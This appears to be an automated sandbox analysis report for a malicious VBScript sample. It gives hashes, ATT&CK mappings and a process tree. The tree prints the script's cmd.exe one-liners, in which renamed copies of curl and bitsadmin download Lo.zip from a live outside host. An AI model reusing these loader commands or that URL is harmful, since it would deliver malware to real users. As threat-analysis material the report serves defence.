4945fbee8ab990c8a937460f956859fda2c00c0e754ea35241eea1719bffc0d8

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
22/07/2026, 00:17

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General

Target
dfjieyisa.vbs
Size 6KB
Sample260722-alaeeswcpg
SHA256 4945fbee8ab990c8a937460f956859fda2c00c0e754ea35241eea1719bffc0d8
MD5 1e05d35aea266f06c7e395678c44cf99
SHA1 238383a92a051ae2057b2df0f2b17f126c143f33
SHA512 5d2848b54439ba0faae281609a97c9765c8207021af609004f76e2e94f5cb9a657f1706dda8260b790f7f58d5747feba2421f0beb8fbb7036429a89b9fe79f9a
SSDEEP 96:YwBn7BWa0iWz3n7rcLI8/qs/zC8ILIJldvtHCFkAc/idwB3:fdzbEwLIIqs/JLdvtHCqALdI
TLSH
T196D1835B7AA4A37587C108D5219B980938B0953BAC37205AF5CC89484F21BF6BF546FB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
1260	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1268	cmd.exe
2256	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1260 wrote to memory of 1268	1260	WScript.exe	90
PID 1260 wrote to memory of 2256	1260	WScript.exe	95

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\dfjieyisa.vbs"
1⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:1260
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "C:\Users\Public\Documents\MSUpdate_64878\shlwapi.dll" -k -s -L --retry 3 -o "C:\Users\Public\Documents\MSUpdate_64878\Lo.zip" https://junjun888.ccwu.cc/5555/1/Lo.zip
  2⤵
  - Executes a command shell one-liner
  PID:1268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "C:\Users\Public\Documents\MSUpdate_64878\urlmon.dll" /transfer DO48A /download /priority high https://junjun888.ccwu.cc/5555/1/Lo.zip "C:\Users\Public\Documents\MSUpdate_64878\Lo.zip"
  2⤵
  - Executes a command shell one-liner
  PID:2256

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads